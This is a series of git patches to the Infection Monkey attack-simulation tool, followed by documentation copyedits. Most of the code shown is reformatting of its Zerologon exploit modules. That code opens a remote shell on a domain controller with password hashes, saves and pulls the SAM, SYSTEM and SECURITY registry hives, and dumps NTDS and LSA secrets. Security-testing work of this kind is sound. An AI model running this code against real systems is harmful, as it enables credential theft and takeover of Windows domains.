LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ") + LOG.debug( + f'Starting remote shell on victim with user: "{username}" and hashes: "{user_pwd_hashes}". ' + ) - wmiexec = Wmiexec(ip=self.dc_ip, - username=username, - hashes=user_pwd_hashes, - domain=self.dc_ip) + wmiexec = Wmiexec( + ip=self.dc_ip, username=username, hashes=user_pwd_hashes, domain=self.dc_ip + ) remote_shell = wmiexec.get_remote_shell() if remote_shell: with StdoutCapture() as output_captor: try: # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + remote_shell.onecmd( + "reg save HKLM\\SYSTEM system.save && " + + "reg save HKLM\\SAM sam.save && " + + "reg save HKLM\\SECURITY security.save" + ) # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + remote_shell.onecmd("get system.save") + remote_shell.onecmd("get sam.save") + remote_shell.onecmd("get security.save") # Delete saved keys on victim. - remote_shell.onecmd( - 'del /f system.save sam.save security.save') + remote_shell.onecmd("del /f system.save sam.save security.save") wmiexec.close() @@ -405,27 +458,39 @@ class ZerologonExploiter(HostExploiter): return False def remove_locally_saved_HKLM_keys(self) -> None: - for name in ['system', 'sam', 'security']: - path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + for name in ["system", "sam", "security"]: + path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") try: os.remove(path) except Exception as e: - LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + LOG.info( + f"Exception occurred while removing file {path} from system: {str(e)}" + ) - def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: + def _send_restoration_rpc_login_requests( + self, rpc_con, original_pwd_nthash + ) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): - restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) + restoration_attempt_result = self.try_restoration_attempt( + rpc_con, original_pwd_nthash + ) - is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) + is_restored = self.assess_restoration_attempt_result( + restoration_attempt_result + ) if is_restored: return is_restored return False - def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool: + def try_restoration_attempt( + self, rpc_con: object, original_pwd_nthash: str + ) -> bool: try: - restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) + restoration_attempt_result = self.attempt_restoration( + rpc_con, original_pwd_nthash + ) return restoration_attempt_result except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. @@ -437,36 +502,47 @@ class ZerologonExploiter(HostExploiter): return False - def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: - plaintext = b'\x00'*8 - ciphertext = b'\x00'*8 - flags = 0x212fffff + def attempt_restoration( + self, rpc_con: object, original_pwd_nthash: str + ) -> Optional[object]: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00', - self.dc_name + '\x00', plaintext) - server_challenge = server_challenge_response['ServerChallenge'] + server_challenge_response = nrpc.hNetrServerReqChallenge( + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + ) + server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags + self.dc_name + "\x00", + ciphertext, + flags, ) - assert server_auth['ErrorCode'] == 0 - session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + assert server_auth["ErrorCode"] == 0 + session_key = nrpc.ComputeSessionKeyAES( + None, + b"\x00" * 8, + server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), + ) try: nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, - nrpc.NetrServerPasswordSetResponse) + nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = NULL + request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key) + unhexlify(original_pwd_nthash), session_key + ) request["UasNewPassword"] = pwd_data rpc_con.request(request) @@ -478,7 +554,9 @@ class ZerologonExploiter(HostExploiter): def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: - LOG.debug("DC machine account password should be restored to its original value.") + LOG.debug( + "DC machine account password should be restored to its original value." + ) return True return False @@ -487,17 +565,17 @@ class ZerologonExploiter(HostExploiter): class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 structure = ( - ('PrimaryName', nrpc.PLOGONSRV_HANDLE), - ('AccountName', nrpc.WSTR), - ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), - ('ComputerName', nrpc.WSTR), - ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ("PrimaryName", nrpc.PLOGONSRV_HANDLE), + ("AccountName", nrpc.WSTR), + ("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ("ComputerName", nrpc.WSTR), + ("Authenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(nrpc.NDRCALL): structure = ( - ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('ErrorCode', nrpc.NTSTATUS), + ("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("ErrorCode", nrpc.NTSTATUS), ) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 491418687..524089338 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -47,9 +47,13 @@ import logging import os import traceback -from impacket.examples.secretsdump import (LocalOperations, LSASecrets, - NTDSHashes, RemoteOperations, - SAMHashes) +from impacket.examples.secretsdump import ( + LocalOperations, + LSASecrets, + NTDSHashes, + RemoteOperations, + SAMHashes, +) from impacket.smbconnection import SMBConnection from infection_monkey.utils.capture_output import StdoutCapture @@ -60,15 +64,15 @@ LOG = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py # Used to get Administrator and original DC passwords' hashes class DumpSecrets: - def __init__(self, remote_name, username='', password='', domain='', options=None): + def __init__(self, remote_name, username="", password="", domain="", options=None): self.__use_VSS_method = options.use_vss self.__remote_name = remote_name self.__remote_host = options.target_ip self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__smb_connection = None self.__remote_ops = None self.__SAM_hashes = None @@ -89,20 +93,24 @@ class DumpSecrets: self.__options = options if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') + self.__lmhash, self.__nthash = options.hashes.split(":") def connect(self): - self.__smb_connection = SMBConnection( - self.__remote_name, self.__remote_host) + self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection.login( - self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + ) def dump(self): with StdoutCapture() as output_captor: - dumped_secrets = '' + dumped_secrets = "" try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + if self.__remote_name.upper() == "LOCAL" and self.__username == "": self.__is_remote = False self.__use_VSS_method = True if self.__system_hive: @@ -113,6 +121,7 @@ class DumpSecrets: self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: import binascii + bootkey = binascii.unhexlify(self.__bootkey) else: @@ -122,36 +131,55 @@ class DumpSecrets: try: self.connect() except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + if ( + os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work LOG.debug( - 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + "SMBConnection didn't work, hoping Kerberos will help (%s)" + % str(e) + ) else: raise self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__smb_connection, self.__do_kerberos, self.__kdc_host + ) self.__remote_ops.setExecMethod(self.__options.exec_method) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + or self.__use_VSS_method is True + ): self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() # Let's check whether target system stores LM Hashes. self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: + if ( + str(e).find("STATUS_USER_SESSION_DELETED") + and os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): # Giving some hints here when SPN target name validation is set to something different to Off. # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + LOG.error( + "Policy SPN target name validation might be restricting full DRSUAPI dump." + + "Try -just-dc-user" + ) else: - LOG.error('RemoteOperations failed: %s' % str(e)) + LOG.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + and self.__can_process_SAM_LSA + ): try: if self.__is_remote is True: SAM_file_name = self.__remote_ops.saveSAM() @@ -159,10 +187,11 @@ class DumpSecrets: SAM_file_name = self.__sam_hive self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote) + SAM_file_name, bootkey, isRemote=self.__is_remote + ) self.__SAM_hashes.dump() except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) + LOG.error("SAM hashes extraction failed: %s" % str(e)) try: if self.__is_remote is True: @@ -170,13 +199,17 @@ class DumpSecrets: else: SECURITY_file_name = self.__security_hive - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote) + self.__LSA_secrets = LSASecrets( + SECURITY_file_name, + bootkey, + self.__remote_ops, + isRemote=self.__is_remote, + ) self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() except Exception as e: LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) + LOG.error("LSA hashes extraction failed: %s" % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. if self.__is_remote is True: @@ -187,15 +220,20 @@ class DumpSecrets: else: NTDS_file_name = self.__ntds_file - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - ) + self.__NTDS_hashes = NTDSHashes( + NTDS_file_name, + bootkey, + isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, + remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, + justNTLM=self.__just_DC_NTLM, + ) try: self.__NTDS_hashes.dump() except Exception as e: LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() @@ -204,7 +242,8 @@ class DumpSecrets: LOG.error(e) if self.__use_VSS_method is False: LOG.error( - 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter" + ) self.cleanup() except (Exception, KeyboardInterrupt) as e: LOG.debug(traceback.print_exc()) @@ -219,11 +258,13 @@ class DumpSecrets: except Exception: pass finally: - dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys + dumped_secrets = ( + output_captor.get_captured_stdout_output() + ) # includes hashes and kerberos keys return dumped_secrets def cleanup(self): - LOG.debug('Cleaning up...') + LOG.debug("Cleaning up...") if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py index 61aab4440..32cdfe40f 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/options.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -7,7 +7,7 @@ class OptionsForSecretsdump: can_process_SAM_LSA = True dc_ip = None debug = False - exec_method = 'smbexec' + exec_method = "smbexec" hashes = None is_remote = True just_dc = True @@ -25,7 +25,16 @@ class OptionsForSecretsdump: ts = False use_vss = False - def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None): + def __init__( + self, + dc_ip=None, + just_dc=True, + sam=None, + security=None, + system=None, + target=None, + target_ip=None, + ): # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py self.dc_ip = dc_ip # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index dc0088d07..146d58615 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -61,32 +61,34 @@ class RemoteShell(cmd.Cmd): def __init__(self, share, win32Process, smbConnection, outputFilename): cmd.Cmd.__init__(self) self.__share = share - self.__output = '\\' + outputFilename - self.__outputBuffer = str('') - self.__shell = 'cmd.exe /Q /c ' + self.__output = "\\" + outputFilename + self.__outputBuffer = str("") + self.__shell = "cmd.exe /Q /c " self.__win32Process = win32Process self.__transferClient = smbConnection - self.__pwd = str('C:\\') + self.__pwd = str("C:\\") self.__noOutput = False # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) - self.do_cd('\\') + self.do_cd("\\") else: self.__noOutput = True def do_get(self, src_path): try: import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) local_file_path = os.path.join( - os.path.expanduser('~'), 'monkey-'+filename) - fh = open(local_file_path, 'wb') + os.path.expanduser("~"), "monkey-" + filename + ) + fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) - self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) fh.close() except Exception as e: LOG.error(str(e)) @@ -97,35 +99,35 @@ class RemoteShell(cmd.Cmd): return True def do_cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: + self.execute_remote("cd " + s) + if len(self.__outputBuffer.strip("\r\n")) > 0: print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" def default(self, line): # Let's try to guess if the user is trying to change drive. - if len(line) == 2 and line[1] == ':': + if len(line) == 2 and line[1] == ":": # Execute the command and see if the drive is valid. self.execute_remote(line) - if len(self.__outputBuffer.strip('\r\n')) > 0: + if len(self.__outputBuffer.strip("\r\n")) > 0: # Something went wrong. print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" else: # Drive valid, now we should get the current path. self.__pwd = line - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" else: - if line != '': + if line != "": self.send_data(line) def get_output(self): @@ -133,28 +135,30 @@ class RemoteShell(cmd.Cmd): try: self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: - LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' - 'again with -codec and the corresponding codec') - self.__outputBuffer += data.decode(self.CODEC, - errors='replace') + LOG.error( + "Decoding error detected, consider running chcp.com at the target,\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py " + "again with -codec and the corresponding codec" + ) + self.__outputBuffer += data.decode(self.CODEC, errors="replace") if self.__noOutput is True: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: try: self.__transferClient.getFile( - self.__share, self.__output, output_callback) + self.__share, self.__output, output_callback + ) break except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait. time.sleep(1) - elif str(e).find('Broken') >= 0: + elif str(e).find("Broken") >= 0: # The SMB Connection might have timed out, let's try reconnecting. - LOG.debug('Connection broken, trying to recreate it') + LOG.debug("Connection broken, trying to recreate it") self.__transferClient.reconnect() return self.get_output() self.__transferClient.deleteFile(self.__share, self.__output) @@ -162,11 +166,13 @@ class RemoteShell(cmd.Cmd): def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: - command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + command += ( + " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" + ) self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data) print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 4c9fbef38..1beaafddd 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -59,39 +59,45 @@ LOG = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to get HKLM keys for restoring original DC password class Wmiexec: - OUTPUT_FILENAME = '__' + str(time.time()) + OUTPUT_FILENAME = "__" + str(time.time()) - def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): + def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): self.__ip = ip self.__username = username self.__password = password self.__domain = domain - self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash, self.__nthash = hashes.split(":") self.__share = share self.shell = None def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) - self.smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + self.smbConnection.login( + user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + ) - self.dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + self.dcom = DCOMConnection( + target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True, + ) try: iInterface = self.dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( - '//./root/cimv2', NULL, NULL) + "//./root/cimv2", NULL, NULL + ) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: @@ -101,9 +107,10 @@ class Wmiexec: def get_remote_shell(self): self.connect() - win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + ) return self.shell def close(self): From 776d3421aa75814e73a801bef1f0c6db20f5707a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 19 Feb 2021 19:34:43 -0500 Subject: [PATCH 309/466] agent: add TODO to rework telemetry classes --- monkey/infection_monkey/telemetry/base_telem.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 5627cfee1..96e7a6288 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -9,6 +9,19 @@ LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged __author__ = 'itay.mizeretz' +# TODO: Rework the interface for telemetry; this class has too many responsibilities +# (i.e. too many reasons to change): +# +# 1. Store telemetry data +# 2. Serialize telemetry data +# 3. Send telemetry data +# 4. Log telemetry data +# +# One appaoach is that Telemetry objects should be immutable after construction +# and the only necessary public method be a `serialize()` method. Telemetry +# objects can be passed to other objects or functions that are responsible for +# logging and sending them. + class BaseTelem(object, metaclass=abc.ABCMeta): """ From b82635d292073910d58a0acc3e492204aa2c28ea Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 22 Feb 2021 17:30:11 +0530 Subject: [PATCH 310/466] Add noqa comment to ignore complexity of DumpSecrets.dump() --- .travis.yml | 2 +- monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 4ff0fdd8c..26482dcd5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -69,7 +69,7 @@ script: ## Display the linter issues - cat ./ci_scripts/flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=81 +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80 - if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 524089338..b196528e7 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -105,7 +105,7 @@ class DumpSecrets: self.__nthash, ) - def dump(self): + def dump(self): # noqa: C901 with StdoutCapture() as output_captor: dumped_secrets = "" From 8a1fec3f0b9a3fae9ea49e81de6946d3e4dbc6aa Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Mon, 22 Feb 2021 07:06:56 -0500 Subject: [PATCH 311/466] Copyedits for usage sections (#965) Copy edits - round 2 --- docs/content/development/_index.md | 20 +++---- .../development/add-zero-trust-test.md | 16 +++--- .../development/adding-post-breach-actions.md | 14 ++--- .../adding-system-info-collectors.md | 28 +++++----- .../development/contribute-documentation.md | 36 ++++++------ .../setup-development-environment.md | 10 ++-- docs/content/development/swimm.md | 10 ++-- docs/content/reports/_index.md | 2 +- docs/content/reports/mitre.md | 16 +++--- docs/content/reports/security.md | 56 +++++++++---------- docs/content/reports/zero-trust.md | 22 ++++---- docs/content/setup/accounts-and-security.md | 2 +- docs/content/usage/_index.md | 4 +- docs/content/usage/configuration/_index.md | 4 +- .../usage/configuration/basic-credentials.md | 2 +- .../usage/configuration/basic-network.md | 6 +- docs/content/usage/getting-started.md | 22 ++++---- docs/content/usage/integrations/_index.md | 4 +- .../integrations/aws-run-on-ec2-machine.md | 42 +++++++------- .../usage/integrations/aws-security-hub.md | 20 +++---- docs/content/usage/use-cases/_index.md | 5 +- docs/content/usage/use-cases/attack.md | 23 +++----- .../usage/use-cases/credential-leak.md | 24 ++++---- .../content/usage/use-cases/network-breach.md | 42 +++++++------- .../usage/use-cases/network-segmentation.md | 35 +++++------- docs/content/usage/use-cases/other.md | 45 +++++++-------- docs/content/usage/use-cases/zero-trust.md | 22 ++------ 27 files changed, 244 insertions(+), 288 deletions(-) diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index f4b2acc85..236c7c3cd 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -13,31 +13,31 @@ Want to help secure networks? That's great! ## How should I start? -Here's a few short links to help you get started. +Here are a few short links to help you get started: -* [Getting up and running](./setup-development-environment) - To help you get a working development setup. -* [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - Some guidelines to help you submit. +* [Getting up and running](./setup-development-environment) - These instructions will help you get a working development setup. +* [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - These guidelines will help you submit. ## What are we looking for? -You can take a look at [our roadmap](https://github.com/guardicore/monkey/projects/5) to see what issues we're thinking about doing soon. We are looking for: +You can take a look at [our roadmap](https://github.com/guardicore/monkey/projects/5) to see what issues we're thinking about tackling soon. We are always looking for: ### More exploits! πŸ’₯ -The best way to find weak spots in the network is by attacking it. The [Exploit template](https://github.com/guardicore/monkey/wiki/Exploit-templates) page will help you add exploits. +The best way to find weak spots in a network is by attacking it. The [exploit template](https://github.com/guardicore/monkey/wiki/Exploit-templates) page will help you add exploits. -It's important to note that the Infection Monkey must be perfectly reliable otherwise no one will use it, so avoid memory corruption exploits _unless they're rock solid_ and focus on the logical vulns such as Shellshock. +It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Shellshock. ### Analysis plugins πŸ”¬ -Successfully attacking every server in the network is no good unless the Monkey can explain how to prevent the attack. Whether it's detecting when the Monkey is using stolen credentials or when the Monkey can escape locked down networks, this is the part that actually helps secure different parts. +Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. ### Better code πŸ’ͺ -We always want to improve the core Monkey code, to make it smaller, faster and more reliable. If you have an idea of how to do it, or just want to modularise/improve test coverage for the code, do share! +We always want to improve the core Infection Monkey code to make it smaller, faster and more reliable. Please share if you have an idea that will help us meet these goals or modularize/improve test coverage. ### Documentation πŸ“š -Every project requires better documentation. The Monkey is no different, so feel free to open PRs with suggestions, improvements or issues asking us to document different parts of the Monkey. +Every project requires excellent documentation. The Infection Monkey is no different. Please feel free to open pull requests with suggestions, improvements or issues and asking us to document various parts of the Monkey. -The Monkey's documentation is stored in the `/docs/content` directory. +The Infection Monkey's documentation is stored in the `/docs/content` directory. diff --git a/docs/content/development/add-zero-trust-test.md b/docs/content/development/add-zero-trust-test.md index d43dcacef..61b3a427c 100644 --- a/docs/content/development/add-zero-trust-test.md +++ b/docs/content/development/add-zero-trust-test.md @@ -5,22 +5,22 @@ draft: false weight: 100 --- -## How to add a new Zero Trust test to the Monkey? +## How do I add a new Zero Trust test to the Monkey? -Assuming the Monkey agent is already sending the relevant telemetry, you'll need to add the test in two places. +Assuming the Infection Monkey agent is already sending the relevant telemetry, you'll need to add the test in two places. ### `zero_trust_consts.py` -In the file `/monkey/common/data/zero_trust_consts.py`, +In the file `/monkey/common/data/zero_trust_consts.py`: 1. Add the test name to the TESTS set -2. Add a relevant recommendation if exists -3. Add the test to the TESTS_MAP dict. Make sure that all statuses (except `STATUS_UNEXECUTED`) have finding explanations. +2. Add a relevant recommendation if it exists +3. Add the test to the TESTS_MAP dict. Ensure that all statuses (except `STATUS_UNEXECUTED`) have finding explanations. ### `telemetry/processing.py` -Find the relevant telemetry type you wish to test the finding in. This can be found in `/monkey/monkey_island/cc/services/telemetry/processing.py`. In the relevant `process_*_telemetry` function, add your Zero Trust testing code. Please put the zero trust tests under the `/monkey/monkey_island/cc/services/telemetry/zero_trust_tests` directory. There you can find examples of existing tests as well, so you'll know pretty much what you need to write. +Find the relevant telemetry type you wish to test the finding in next. These can be found in `/monkey/monkey_island/cc/services/telemetry/processing.py`. In the relevant `process_*_telemetry` function, add your Zero Trust testing code. Please put the Zero Trust tests under the `/monkey/monkey_island/cc/services/telemetry/zero_trust_tests` directory. There you can also find examples of existing tests as well, so you'll have a reference for what you need to write. -## How to test the new Zero Trust test 